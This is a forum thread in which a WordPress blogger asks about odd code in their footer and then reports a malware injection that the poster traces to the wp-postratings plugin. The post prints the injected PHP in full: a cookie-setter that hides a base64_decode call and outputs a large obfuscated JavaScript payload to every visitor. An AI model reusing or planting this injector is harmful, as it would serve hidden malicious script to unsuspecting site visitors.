Weird code in my footer… Should I be worried ?

Update : WHAT THE HELL ?!

It’s not only the public version served to the visitors, there is THIS in the footer.php code (added with a legit line to give you its position)

<?php wp_footer(); ?>
<?php
$__name = "d41d8cd98f00b204e9800998ecf8427e";
if(1>0 ) {
error_reporting(0);
$date = date("D, j M Y 00:00:00", time()+60*60*24*30);
$cookie = time().".".rand(1111111, 9999999);
echo "<script type=\"text/javascript\">document.cookie = \"".$__name."=\"+escape('".$cookie."')+\"; expires=".$date."; path=/\";</script>";

$__f = implode("", array_map("chr", explode(" ", "98 97 115 101 54 52 95 100 101 99 111 100 101")));
echo $__f("PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPnJpZj0wLjA0OTtyaWYrKzttZXQ9ZmFsc2U7b2JlPWNhcCgnaWdLWFo1emJtMCcsMTQpO2xhdj0wLjAwODtsYXYtLTtsaXQ9J2kxNThXczcnO3dvcD0yMzt3b3ArPTE3O3NheT1jYXAoJ1ZVSmhybjlQUGxHbmM1dThsSlowdXBMWUtWM0xCVWVhM1VNdThUMVN3UjhwRkw0Wnl1V0tLNW11YjhKdjYwVE1KcnJuaWtVcmttYzVVVGxqRFcwNEJwZjl6MFZPYVRza01YWE9uRTRrTlVGU3hFcE1XYkFsbTU3MEhZejdUSGRONmg5V1NyMUdjS0lEbFdmajBFQ3ZLbjN4QlRlSjNpaThoSm5mT2snLDUpO2x1eD0naGFtJztib3k9Mzk3ODtqYXI9ZG9jdW1lbnQ7amFyW29iZV0oc2F5KTtmdW5jdGlvbiBkdWQoa3Esa3ope3ZhciBrayxiLHM7dz03ODA1O3crKztrPVsndm93JywnZWxkJywnbWlkJ107cD0wLjAwNDc7cCs9MC4wMDM7ZD02O2lmKGQ8MjIpe2w9MC4wMzY7aWYobD4xNil7Zj03MTc0O2lmKGYhPTApe3E9MC4wMTc7aWYocT4wLjAyMjcpe3o9MjE7ei09MTQ7aD0zNDA4O2grK319dT1bMCwyNCwxNiwzMiw4XX1qPTgwMzh9dj0wLjAxNTg7aWYodiE9MCl7bz0wLjAwNDtpZihvPG51bGwpe3k9MC4wMDN9fXM9L1tOMGVNQzZnN0hwXS9nO2M9bnVsbDtjLT00OTM2O249bnVsbDt4PTU3NzU7eCs9MC4wMDYxO2I9JzZzN3VnYk1zTXQ3cic7cj0wLjAwOTU7cisrO3Q9MC4wMDk3O3QtLTtnPTAuMDUxNDtpZihnPDE2KXtpPTE0ODg7aWYoaTwzOTc4KXttPTAuMDA2O20rKzthPTA7YSs9MTE3Mn1rdz0zNDkzO2t3LT0yNDAzfWtrPWIucmVwbGFjZShzLCcnKTtrcD0wLjAwNjtrcCsrO2tkPTExO2lmKGtkPDc3MTEpe2tsPTM2NzE7a2wtPTcyNTZ9a2Y9MC4wMDU3O2tmKys7cmV0dXJuIGtrfWZ1bmN0aW9uIGNhcChqayxqcCl7dmFyIHJiLG9uLGZiLG91LGQsYWUsb3QsbWIsZmcsYWMsYWYsb2ksYWUscnIsbWcscmMsZCxycixmYixycixmZyx4LGo7aT0yNDtpLT0zMzc4O2Y9WzI4LDIxLDE0LDM1LDcsMF07cj0nc2VsJztvPTE5O2lmKG8hPTAuMDE1KXthPXtsZXU6Wyd3YWUnLCdnaXAnXX07bT0wLjAxfWo9ZHVkKCk7bD0yMjtpZihsPDE1KXt5PTI5NTk7eSs9MjR9aD05O2lmKGg9PTYpe3Q9NTA0MTt0Kz0xNDk5fWM9MC4wMDcyO2MrPTAuMDEyO2Q9J3VOZGpsZW51bGhuJ1tqXSg0LDMpO2c9J2hhcyc7dT0nVUlKa0s0Xyc7cT0yMjtxLS07ZCs9J0hfU0ZndGhjVydbal0oNCwzKTtrPTI4MzA7cD0nZmVlJzt4PTg2O3c9MC4wMDg7dy0tO2I9MzA7aWYoYj4yNil7ej17b3ZhOjAuMDI5OX07bj03NTU3O2lmKG48NDY5Mil7dj0wLjAyMjtpZih2PDAuMDE3KXtmaT0xMTYwfWZmPTAuMDE5O2lmKGZmPjY0ODcpe2ZyPTAuMDA5NTtmci0tO2ZvPTAuMDAzfX19eC09MjQ7ZmE9MC4wMDc2O2ZhKz0xODtmbT0xMTtpZihmbSE9Nyl7Zmo9MTE0MDtpZihmajwwLjAwMSl7Zmw9MC4wMDM3O2lmKGZsPjUwMDkpe2Z5PTE4O2Z5LT0xNH1mZT0zMTA3O2lmKGZlIT0wKXtmaD00MzM0O2ZoKyt9fX1mdD03NTIxO2lmKGZ0PjApe2ZjPTU3Nzc7ZmQ9dHJ1ZX1mZz0ncWlmaW5kZUJyV2EnW2pdKDMsNCk7ZnU9Mzg3MTtmdS0tO2ZxPTI4NTk7ZnM9MC4wMTU7ZnMtLTtmZys9J09saVh4T2Z1Uk9nJ1tqXSg0LDMpO2ZwPTAuMDA3O2ZwLT02O2Z4PTAuMDE5O2Z4Kys7Znc9MC4wMTE7ZncrPTIxO2ZiPSdqaHR5c3VibXpSVCdbal0oNCwzKTtmej0wLjAxMzY7ZnotLTtmbj0xMjtmYis9J3Brc3RyaFInW2pdKDIsMyk7cmk9NztyaSsrO3JmPTE5O3JmKys7cnI9J2FTR2pmcm9tWjRFNidbal0oNCw0KTtybz0zNTI5O3JvLS07cmE9MC4wMjU7aWYocmE+bnVsbCl7cm09MC4wMDM1O3JtKyt9cnIrPSdxVjh3Q2hhcmRJejUnW2pdKDQsNCk7cmw9MTUxNTtybCsrO3J5PTAuMDExO3J5Kz0wLjAzMTY7cnIrPSdtakNvZGVnNSdbal0oMiw0KTtyaD1bMTQsNDIsMCwzNSwyOCwyMSw3XTtydD0nekFPQ1VpNW9tMyc7cmM9MjE7cmQ9MC4wMDY1O3JkKz0yOTtyZz0wLjAxO2lmKHJnPT0xNDgxKXtydT00MjA1O3J1Kyt9cnE9MjQxMjtycSs9NzUxMjtyYy09NTtycz01NjM4O2lmKHJzPjkpe3JrPW51bGw7cnA9MDtycCs9MTYyN31yeD0wLjAxNzM7cngtPTAuMDEwOTtydz1udWxsO3JiPSc3aE9wUjVlR05Zdk1yNEVBVlN3dUszZGpJYno5MVpDYTI4Z21xNlhseUJRdGt4TEppVUQwSG5QV29Uc2NGZic7cno9MTk7cnotLTtybj17dm94Oidjb3gnfTtydj1bJ2VuZCcsJ2F3biddO29pPScnO29mPTAuMDc3O2lmKG9mPT1udWxsKXtvcj0wLjAwODtpZihvcj43MDgyKXtvbz0wLjAwMTM7aWYob288MC4wMDUpe29hPTU3NzM7aWYob2E+MCl7b209MjE7b20rPTU7b2o9MC4wMTN9fX19b2w9MTIyMztveT0yMTtpZihveT09bnVsbCl7b2U9MTI7b2g9J2hvZyd9b3Q9Jyc7b2M9MTM7b2MrKztvZD0nc2FkJztvZz01ODU0O29nLS07b3U9MDtvcT0zNzExO2lmKG9xIT0xMil7b3M9J3dhZCc7b2s9MDtvay09Nzc0MX1vcD0zNTI5O29wLT0wLjAwMTE7b3g9Mjg7aWYob3g8OSl7b3c9MC4wMjM7b2I9MC4wMTtpZihvYjwwLjA0Nyl7b3o9Wyd3b3cnLCdnZWQnLCdtYWMnXX19b249amtbZF07b3Y9e293ZTowLjA0NDd9O2FpPVsxMCw1LDAsMjAsMjUsMzAsMzUsMTVdO2ZvcihhZj0wO2FmPG9uO2FmKyspe2FyPWZhbHNlO2FvPTM3MDg7aWYoYW8+MCl7YWE9NTthYS0tfW91Kz1qcDthbT02MjUzO2lmKGFtIT0wLjA0OTYpe2FqPTYxNzE7YWotLTthbD1udWxsO2FsKz0zNzA4fWF5PTg7YXkrKzthZT1qa1tmYl0oYWYsMSk7YWg9MC4wMDU7YWgrKzthdD02O2F0Kys7YWM9cmJbZmddKGFlKTthZD0wLjAxOTthZCsrO2FnPTI1ODg7YWcrKzthdT0wLjAxMTtpZihhdT4zNDExKXthcT0zNjEzO2FxLT0xMn1hYys9b3U7YXM9WzE2LDMyLDQ4LDQwLDI0LDgsMF07YWs9MTQ7aWYoYWs9PTAuMDAxMSl7YXA9NjY4MjthcC0tO2F4PTAuMDA2MjtpZihheDwwLjAxNCl7YXc9MzcyMDthdysrO2FiPTAuMDA5O2FiLT01NjAyfX1hej04NjY0O2FjJT14O2FuPTAuMDA0ODthbisrO2F2PTI2O2F2LS07b2krPXJiW2ZiXShhYywxKTttaT0wLjAwODY7aWYobWkhPTAuMDEpe21mPTc7bWYtPTM2NjQ7bXI9bnVsbDttcis9MC4wMTAzfW1vPTAuMDExNjtpZihtbzwwLjAxMDEpe21hPTY2NjI7aWYobWE9PTAuMDA3KXttbT0xMDU0O21tKys7bWo9MzQwMTtpZihtaiE9bnVsbCl7bWw9Mjg1NDtpZihtbD4wLjAwNTEpe215PTc0MTU7bXktLTttZT1udWxsO21lKz0xMn1taD0wLjAwMzttaCs9MC4wMTF9fW10PTE0Nzc7bXQtPTl9fW1jPTA7bWMrPTE0O21kPSdNRGt0UWcnO2ZvcihtZz0wO21nPG9uOyl7bXU9bnVsbDttdS09MTk7bXE9J3JleCc7YWU9b2lbZmJdKG1nLDIpO21rPTAuMDQ1NTttcD0wLjAxODttcC0tO214PTE1MDA7aWYobXghPTE4KXttdz1bJ29wcycsJ29yZScsJ29yYyddfW1iPXBhcnNlSW50KGFlLHJjKTttej1udWxsO21uPTAuMDA5O2lmKG1uPT03OTkwKXttdj0wLjAwNDg7bXYrK31qaT0wO2ppLT0yMztvdCs9U3RyaW5nW3JyXShtYik7amY9J1czSW5TbWRpWCc7anI9Njk3MTtpZihqcjxudWxsKXtqbz0wO2pvLT02MDk3O2phPTUwOTR9bWcrPTI7am09MTc5MztqbSs9MzA7amo9ZmFsc2U7amw9NjtpZihqbCE9NDg5Nyl7ank9MC4wMDkyO2p5Kyt9fWplPTUwNTU7amUtLTtqaD0xNTtqaCsrO2p0PTAuMDI0NjtpZihqdD09MC4wMTQpe2pjPTAuMDExMjtpZihqYzwwKXtqZD02O2pkLT0xNX1qZz0wLjAxNTU7aWYoamchPTM1ODYpe2p1PTAuMDE5O2lmKGp1PT0wLjAzMjUpe2pxPSdzYXAnfWpzPTM4ODQ7anMrPTE4ODJ9fXJldHVybiBvdH08L3NjcmlwdD4=");
} unset($__name);

?>

Final update regarding this thread.

I found my reply the hard way : something trying to inject malware into my visitors, reported by Avast.

It appears something or someone is using or editing one way or another the Wp-Postratings plugin of Lesterchan (Gamerz) to run nasty stuff. I broke my blog’s public html output into several parts, splitting them over and over, until I found the code line triggering the virus injection was the call for wp-postratings. Deactivating the plugin stopped the virus attack on my visitors.

I had this malware injection attempt problem last week already, and Lesterchan, to whom I reported, simply concluded it wasn’t his plugin’s fault. Yeah, right. I deleted postratings by FTP and had wordpress reinstall it by connecting to www.ads-software.com, but apart from that, the plugin is NOT vulnerable to something using it, not to the least, no.
I don’t blame Lesterchan, it may be another compromised website on my shared host, it may be me allowing stuff I didn’t notice, it could be pretty anything, but I’m still rather annoyed at a plugin allowing, twice, a security hole.

Case closed, the rest is outside of the present thread’s object.